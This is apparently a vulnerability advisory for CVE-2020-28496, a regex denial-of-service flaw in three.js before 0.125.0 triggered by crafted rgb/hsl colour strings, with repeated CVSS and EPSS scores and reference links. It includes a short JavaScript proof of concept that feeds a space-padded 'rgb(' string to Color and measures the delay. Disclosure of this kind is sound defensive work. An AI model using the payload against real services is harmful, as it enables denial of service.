5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.003 Low
EPSS
Percentile
70.5%
This affects the package three before 0.125.0. This can happen when
handling rgb or hsl colors. PoC: var three = require(‘three’) function
build_blank (n) { var ret = “rgb(” for (var i = 0; i < n; i++) { ret += " "
} return ret + “”; } var Color = three.Color var time = Date.now(); new
Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost+" ms")
github.com/mrdoob/three.js/issues/21132
github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e
launchpad.net/bugs/cve/CVE-2020-28496
nvd.nist.gov/vuln/detail/CVE-2020-28496
security-tracker.debian.org/tracker/CVE-2020-28496
snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
snyk.io/vuln/SNYK-JS-THREE-1064931
www.cve.org/CVERecord?id=CVE-2020-28496
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.003 Low
EPSS
Percentile
70.5%